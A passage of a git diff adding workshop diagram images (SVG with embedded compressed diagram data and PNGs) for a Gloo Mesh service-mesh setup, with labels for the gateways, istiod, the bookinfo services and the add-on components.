Fx1MDAxMFx1MDAwNIY3drO4eVx1MDAwMPChsTBcdPGrXHUwMDBmiH9cdTAwMTGeyW/jmCDic4BEgMfAPF5cdTAwMTYn+uNEn+FcdTAwMWatXHUwMDAy8Vx1MDAwZldgXHUwMDE1cmfu4DLiv8bHNURG6bbdXHUwMDFlPk5btYL9WMjGXHUwMDFk/lxiI11AVGnEtLNx4KxnK7WoIFxuwz1cdTAwMTBOlIZcdTAwMTSp2j1cdTAwMDBSIOiR8dYxMOo18yROy5nFLdiylIVcdTAwMWZcdTAwMDD0RVx1MDAwMVA4XklcdTAwMDBg0VxmNC5AXHUwMDEwXHUwMDEwjYqqpVx1MDAxZdZQyGLCZkyeJmfKeGxcdTAwMTFb6pdcbsUsxi81826BcMdMXHUwMDAxMy13TIWiXHUwMDE2XHUwMDE4kHKpTN9beFx1MDAxNFx1MDAwN0m23OVcdTAwMTiKW1x1MDAxMqZcdTAwMTSghDGl5ISZgmVLUVo4cFx1MDAwMdxCMf3lTyZGr2nHgJFwS3CrbVx1MDAxNZhcdTAwMDFcbltvanFcIlx1MDAxNj3oZZponeZoO0XEpbghR7lMZtTkXHUwMDAxcntJ/a1FeLDD+Gc9W32hsdZcdTAwMDZcdTAwMDYj9+mnXCLSmnmWTfCLMyHZI7mVILaubIBbmClcdTAwMDPGYVx1MDAxZYxcdTAwMTGTReMjvKUluVx0SleAh1x1MDAwNfErMVxiMl2o5eef+8ty922jXHUwMDEyJHqDMspcdTAwMWbT/HDSTFx1MDAxZveS9bEqyfu6yN25dM9HRjm2TFxyP9g4MOm1SSf0qYzDLGBWXHUwMDBlQkWZUzZcdTAwMTBcdTAwMTO/37Fimrsmjd71c/KhmHi4P87U0fPpuF3znVx1MDAxNLI4Nu5cdTAwMDf6K9BKI+2dlFx0ONFcZpFZhJMpL+SZ1JdKc1x1MDAwZqRuc3noelvyXHKL4FxcWsD3pt85jY5Lw1x1MDAxYjzGtHoqluaAWFx1MDAxMFDB5lx1MDAxNIe48/YwWGRcdTAwMTYoZkCubNZvOVC8bVRcdTAwMTnaOFx1MDAwN7HpayRMsSbK/GI7uDKeWoRAhlx1MDAwMW8gr2zjjFx00KeO8JR/pWybnuQmXHUwMDE35Veauu2Xq/Wbc1U6eW76iVx1MDAxMWRcdTAwMTFusvO0MFx1MDAxNeU0dpTCn4tcdTAwMTFj6Vx1MDAwMqZcdTAwMDCz2yRuzo/fV5RtK1x1MDAxNKyeYUbMNJhcdTAwMTfYpM1cbu+klCndxfmsU1x1MDAwMjee+S8t24Kp+9fdXHUwMDA1ut6ebFx1MDAwYj5z0FpcInOsXHUwMDFiPW4tvCluTGVcdTAwMWLnXHUwMDA22oNcItWgNVx1MDAxNMJcdTAwMWXZZqpcdTAwMTdcdTAwMDGCk1x1MDAxYyEldlNcdTAwMTlcdTAwMWEzZlx1MDAwMfTjQoJcdISR8olXNlx1MDAwNFx1MDAwMvDRlEiC/XeWd/gt2jSeRVx1MDAxYTpm+K+UbO3aRF2VXHUwMDFleTN5kns8Olx1MDAxZZf00XUmXHUwMDAwIIFAXHUwMDAzy1xuTCxcdTAwMTMyRKhv1XtcdTAwMDHWXHUwMDEwXHUwMDAxQMFBjaN1q96vUq1cdTAwMWHpmSvX9OE14TN+tVx1MDAxZTVQXHUwMDFj59SUVVx1MDAwMrIk3kl9JcmWXGIkbnN5yHpFyVx1MDAxNpqVXHUwMDFlUvZemio5plRSZOGWnuCUyFx1MDAxZKN0JjdVzZRdXHUwMDE5JIvPW1x1MDAxNW5bN0tcdTAwMTVcIpbA82uh8lx1MDAxYULGXHUwMDA3Mb/0wsS2U28hSu81R0vEPyVcdTAwMTaE8YNiR/pgnCpEi/fqXe3w6eWuz8qPp/rhot9JTf520vVP77Vccsbd0fJ+lWGX9rj1fWDE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lalx1MDAwYnvWpdXCS0FNRPXGXHUwMDFlNi96veJ9u1x1MDAxNG1cXFx1MDAwZrfuuvmas6qsJ9BcdTAwMDZcdTAwMDGQ0zL6KWv49se0YYBCMlxcM2iLbEszbKN1LiZcdTAwMWNcdTAwMTHJmeOLfYPea47S+Yd35/90XHUwMDA2dv/NWfT2XHUwMDEzmucuQT0hxf5hxlx1MDAwN78nvD6Cc8aAeXp7gMFGKVx1MDAxM9FZtdu8eHtq2dUh5o+1XHUwMDE3PqKXk1Lci/5LZjpzzS+5yKnIXHUwMDAyXHUwMDFi4uParI7ddjGcXHUwMDA2TFx1MDAwZnaOI80xTlx1MDAxOO4pc1+7lfZFuXddXHUwMDFlPp3eTe+H6PlcdTAwMDfDbVx1MDAwYsPtaHm/+bDLoKH/XHUwMDAzI862UX8sJfuvXHUwMDAzXi7Iq0zj6vQ9l7jbXHUwMDAyKTRen991ppt9qvN8hqBMTySmvbhCQ0eYjqeAXHUwMDBmiDKMmIp+mFx1MDAxZL7/McWGWHJcdTAwMTSucoTFtqVytlx1MDAwMlx1MDAwZbkp52hcdTAwMDJcdTAwMWJ+wOGngsMleGpcdTAwMGLgMOTgQlx1MDAwNNpwzCRcdTAwMTBwvUKhoXDJXHUwMDE304NcdTAwMGLBmKWVOf5cdTAwMTKSm+TTXHUwMDA1NqXKklx1MDAwMJGFqTkhXHUwMDFjXHUwMDE5sFs9uVDawkSZtGfzk1win3p7xNKCcLhHOeNcXGPqSZeAXHUwMDFiVJiy1Dvj3691dGFcdTAwMGVllZi1YTZZyj7nXHUwMDE2JsFcdTAwMDBhkzMrfkWE/n7HiudcdTAwMTbhXGZ84D63kMjkXGZIQpg23dh9umxii0gsXGLiXG7eXCJcdTAwMTnxnlx1MDAxM3+xhpaB1G2uhJew5+P95XxdXbpJXHUwMDEyXGZDNGVwn85TbZeLt1BcdTAwMDBcdTAwMTZT8aaxtpjGJkSSwc+FkqIg3mD5XHQ3XHUwMDE5XHUwMDExgjiram23XHUwMDFiOVx1MDAxMFx1MDAwMGNYYVOdW2O/fFBsMcSAUaniplx1MDAxMlx1MDAwMkNcdTAwMWV8YvpXI0z/5dItsiwxKdnaVILCmEiTi45cdTAwMWTplPNcdTAwMDYtXHUwMDE4XHUwMDExmCA1ZVxcNFx1MDAxMt7ItUhcdTAwMDJumrd740LttlO4f32RpdrrYIyv/CeFlKl4pDRcdTAwMTdYm3hb77msNIUtmVx1MDAwMoqjhlx1MDAwMenXjqZcdTAwMGKmbXMlvGS9NeGmULD73WRVXHRzJlx1MDAxZlm4hVx1MDAxZmjEU7iB2raUMDmCXHUwMDE0JFx1MDAxY3Ugot+yzbSn0CC5JJKSqOB44Y2gXHUwMDFisyiTWDLMZ/Xv/GKFgVUpRUa+MpN3z71cdTAwMWTymDB9u4ja3UFtLKRbuFx1MDAxZtyNlDBcdTAwMDKFZSpsXHUwMDEwqijYsD6tv7llwomkkHhWXHUwMDE0cs1g4edUt3pRerpcdTAwMWTlipnKVU9cck/LV9Mg+Fx1MDAwNpKNXHUwMDEzU4JIilnIsGdSYNVzXHUwMDAweMxkMChcdTAwMDDjW2lHvr+wk0Dynt31Uvb2sJsjXHUwMDFmfEG8XHQhjD+cR4du4ceq8ZRuWprO9mC+KIONqVo8XFykXHUwMDAy7Fx1MDAxYlxyQo5cdTAwMDBJXCK+I+m2XHLDXHUwMDE0MIiAO+rfbplGlm4g3DTSnDJl2sk5W7s5rUApNGhwZILxhf5cYsRfXHUwMDE1ukVcdTAwMGZhxqaZXHUwMDE5QqbsmmldzLyyTVtAXHUwMDAzIG2ZoKbAzFZcIur+xYZp+JlscFx1MDAxNyPMuSn6jlfo9lx1MDAxMt7XMa4ucsa169jVXHLgQN1Y3HlaullcdTAwMTPjIFx1MDAxMUeQckVpML8yx0RY2nk5pvInS12YNHfB4lx1MDAxOWp3mKFVfpPKtlHtpJS4OrffipfO9uVcdTAwMWWV/HEn/FBqT72T12c7olx1MDAwMl1CRFx1MDAxYf8p4tFcdTAwMGamXkm3YF+q9tv5bZVNSuwhUTg5Wlx1MDAwN1YsUvYueU65olmROz2eUlx1MDAxY5XnXCIkWf5X2WblatnLc2tGQoBccme8ovFkscRL+3GCn3r0TFxy71uv6lx1MDAxNVx1MDAxN9NP/qzwXHUwMDEzXHSx+rhbX95lQVx1MDAwMP5cdTAwMGb8XHUwMDA0+Vx1MDAxNXSoToLj8E3JeErwXG5JRuHLXHUwMDE5W8CgZKjwki6pXHUwMDEyXCK8XHUwMDE2Q7R2dKauqFJUKLQ/ibWHI3UwSPowu4N/OjV44Lg0cS7zzk/Tl+jkxdP0P5P9M9X1kYUzn3cxv1x1MDAxOVx1MDAwYiWUo7jzcjx/dng/nuSTz3fvvXxcIotoXHUwMDE3pfOxR1x1MDAxNiiEOVx1MDAxOZHxRVx1MDAxNkKZXqSAL2KJLM5cdTAwMWZei88v+fvCuM5qXHUwMDE3Pckukq3aXHUwMDBmsthcdTAwMTay2NHy7mhY/NCpiMpDsdy0XHUwMDFmj9Fh6v5cYo1vNlqFZUDI/4vsXHUwMDExXGJRXHUwMDExfKyPpTn3UlwiOlx1MDAxMlxu36f4XCIhXHUwMDFlJmwpjVx1MDAxOVx1MDAxMsJcdTAwMTKBaW3iIL9cdTAwMTNcdTAwMTSyS4Ph2Fx1MDAxZVxm94SFlqCIRSz0MdvNwVx1MDAxMKfB3k1suvqJXHUwMDE13Cyn6dyZXHUwMDE4Y67O+idv04fDqlLDbuw5VGJsmaJcdTAwMWF/Lnf8L9HMlTpcdTAwMTZv3yZcdTAwMTdYSrbDolxicfRtJmyaf2G6PeSTVO1cdTAwMDaps9Z7Ylx1MDAxYjimelm+K56/JJLdczqyO2/ZzD2ZRlx1MDAxYndnqja8XHUwMDAwQHA/RoxcdTAwMTVcdTAwMTamSUj00k1v4iZ7nTo8zZ82y1M+vVZcdTAwMDPWjrtpI1x1MDAxN2JL6ELi52a2XGbglbLtXHUwMDE3N7eWLYNcdTAwMTGV1JRW3l+SZ1x1MDAxOPXf6rth8yzTXHUwMDFhXHUwMDE1XHUwMDFhh8Ps9IU+yYvR5rD4x5jZ6fJufdhlRof/XHUwMDAzP0FcdTAwMTJcdTAwMDZcdTAwMTlcdTAwMWSMXHUwMDA3lq9TkjJcIjiOLlx1MDAwM8OXM7aIZqGbXGYl3MKRpOBOjFxm4lx1MDAwNSqmtLtimH+rXHUwMDE0JngpjVx1MDAxY+WcnZaFI4RgNcti2HV8y1x1MDAwNbNiiVx1MDAwNveYXHUwMDE1v+e3XHUwMDAxXHUwMDAwkYG1cWHLiWk6RqLnrz/kbsWw9jB5vX9lqo1KefE6pbFcdTAwMDcgzMVqbjjCmI4vXHUwMDFjUabenlwiO1xm/tpcdTAwMDSOlOj1Mz96L7+89Vx1MDAxYZVR9jIxuTh//YEj24IjO1rerzLsMpTj/8A9olx1MDAxYz7v4eppXHUwMDFloYnEapVcIr3hy1x1MDAxOV+Uo8NErZAxwzymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/images/steps/deploy-bookinfo/bookinfo-working.png b/gloo-mesh/platform/2-4/default/images/steps/deploy-bookinfo/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/platform/2-4/default/images/steps/deploy-bookinfo/bookinfo-working.png differ diff --git a/gloo-mesh/platform/2-4/default/images/steps/deploy-bookinfo/initial-setup.png b/gloo-mesh/platform/2-4/default/images/steps/deploy-bookinfo/initial-setup.png new file mode 100644 index 0000000000..6808fffb22 Binary files /dev/null and b/gloo-mesh/platform/2-4/default/images/steps/deploy-bookinfo/initial-setup.png differ diff --git a/gloo-mesh/platform/2-4/default/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg b/gloo-mesh/platform/2-4/default/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg new file mode 100644 index 0000000000..b385df0718 --- /dev/null +++ b/gloo-mesh/platform/2-4/default/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3fiyrbu+/pcdTAwMTVcdTAwMWXrvG50Kof9Zlx1MDAxYlx1MDAxYjDGXHRcdTAwMWPvOsODnINcdCbssf/7nUV3XHUwMDFiXHUwMDAxklx1MDAxMCBcdTAwMTm521pr4DbgUqlqhm/OmuE/f1x1MDAxZFx1MDAxZP09nPbKf//76O/ypJhv1Uv9/Pjvf5n338v9Qb3bgY/I/PdBd9Qvzr9ZXHUwMDFiXHUwMDBle4N//+//5ns9a/FXVrHb/vGX5Va5Xe5cZlx1MDAwN/Dd/1x1MDAwN79cdTAwMWZcdTAwMWT9Z/5qu1e/XFxcdTAwMWPmO9VWef5cdTAwMDfzj1x1MDAxNrfjnK++e9XtzG+NhZaaXCLE0Mc36oM43G9YLsHHlXxrUF58Yt76+7w9QrHe5eCsl34/K43bVzzWeVxc3LZSb7Wyw2nrx4Pli7VR3zapwbDfbZZcdTAwMWbrpWHN3H3l/Y+/XHUwMDFidGFcdFx1MDAxNn/V746qtU55MFj6m24vX6xcdTAwMGan5j20mP6PVfj30eKdXHT8RpWylFx1MDAxNopwal5cdTAwMDVjXHUwMDFmXHUwMDFmm1x1MDAwMVxiVtxinCrNpUZYKLEys9Nuq9s3M/tcdTAwMWakZIVcdTAwMTdcdTAwMTZzK+SLzSpMsFNafFx1MDAwN5OCUmLxnfHP5yVIWcR2scVtauV6tTY03yHC0vZrMdNBeb4pmGtMMaFYfnxiJtBLlVx1MDAxNlx1MDAwNPLjydrj8lNXvqTvdOP5ZNa4XHUwMDE2T/nE3z8//7/Vta/l+72fa/z3wPxie0bzeGerRGgnRFx1MDAxYn3ESrXL4clJ/4lcdTAwMGXq8Vx1MDAxY84lqy/V9sdYS1Sb7/e7478/Pvnvv7zGPc6Wp685hTp3pNcrXHUwMDE3XHUwMDE0fjx7XHUwMDFj+1x1MDAxYnftkUe9Uv5cdTAwMDeFY8G4QFJjjpD++LxV7zThw86o1frLNrMt2U66slx1MDAxZEFCcso08c92z/dx/ZRcdTAwMWZcdTAwMGZ05qxxfH7x3jg/e+pHne00lpZUXFxiRswrx6tcXCctIVx1MDAwNcZcblx1MDAwMT3r1XlFiulcdTAwMTQnXHUwMDAyMcb478Z0h2FcdTAwMGVcdTAwMTDDrjpJS8SZVlj4Zo7K+UNvNuVP15Na/EE2R2/1tMBRZ1x1MDAwZUyEUTqEKqTNq+15f3BcdTAwMDdRXHUwMDE29sVcdTAwMWTzy5M7hv18Z9DL94GW1jlEablM/etcZqJcdTAwMTSxhO3ia/xcdTAwMDEgXHUwMDAzaVx1MDAwNuozNP6YP9GO/DE5TsVbydH5XaeNplx1MDAxM10jJN4+XHRAKWX02Tj/1rzqXHJp8eG8NqtcdTAwMTT5STLKfEcodec7QINMXHUwMDEySXzzXHUwMDFkqzwkX1x1MDAxZtHTRbMyzHdcdTAwMGJcIsNexUPU+Y5cdTAwMTK8xHarUPDT2E7RzWyHV1x1MDAxOU1IzZFE4nB89tkwirjCKED1XFxtY7vgVqr7Um/djuOF19FFXHUwMDAy3V9cXFc6UadXwahFXHUwMDE2IIrJXHUwMDE1elx1MDAwNTL6KiBKXHUwMDAz9UpcZlx1MDAxNPxccqJcdTAwMDJcdTAwMTHmNlpYYVxyLSjsXHUwMDEypv4x1INM3k5z3f5LoS5a99fTXFxcdTAwMTnfXHUwMDE2o85cdTAwMWKYXHUwMDEy6oWhXHUwMDE4QFx1MDAxYn/CfFx1MDAwZuaQXGJtXHUwMDEy5JisXHRyTFx1MDAxOMeCUP7NXGbBWFx1MDAxNMTVolx1MDAxMIY+XHUwMDA0Qso3M3D5fnrdSZ2nrkqZp4vLbvfmvsm+XHUwMDAwMzAvZlx1MDAxMFx1MDAxNFx1MDAwMzNQqVx1MDAxNehcdTAwMGLGbUgwYG5w0FxyoD+Q/aJr7MC4Ns5IXHUwMDFi4olcdTAwMTI7ZHmrzq9Qo9K8f3/Fk+brsKkzUWZcdTAwMDfCtVx1MDAxYjtgJTFXXHUwMDE07uybXHUwMDFmaKv8wmdXx6excrdwPcs+ijx+duGHXHUwMDE1ul7mXHUwMDA29mncoFx1MDAxOfKC+YRwf7BJXHRS1kVvXiiUWaFUWOdcdTAwMDXYXzey/2Bccts+/WRcdTAwMDVcdTAwMDJITzJcckgpkqzATmW9Pk1P6rNB6rmYenvIvNw9ObPCsDxcdTAwMTn6NaXlsF5cdTAwMTiUZ4pcXDzVW0/tSqz8RJk/XHUwMDBl81x1MDAxY/fs9fZcdTAwMTRn2MW4W8jgm6ehTicn2Vx1MDAwMMYtvlx1MDAxN1x1MDAxMjLeOWnk6jSrktNcXOP0rFx1MDAxMMC4gS/v0rf/5feGnyC/liZkXHUwMDE3XUKtvvtLdEmCXHUwMDE4lYj51+Tey1x1MDAxOVFNrlx1MDAxOfeUXXNF7kN2VebX7i5cbsxcdTAwMTd3/lx1MDAxMFi2xf+AssqILFx1MDAxNaJTYpPA2ok6XHUwMDE3VNDtXGaz9dmPo5mld8/z7XprurSRc7KFKdU71T7M7uifTlx1MDAxNW44zk/t6zwow33MeGz5XHUwMDBmj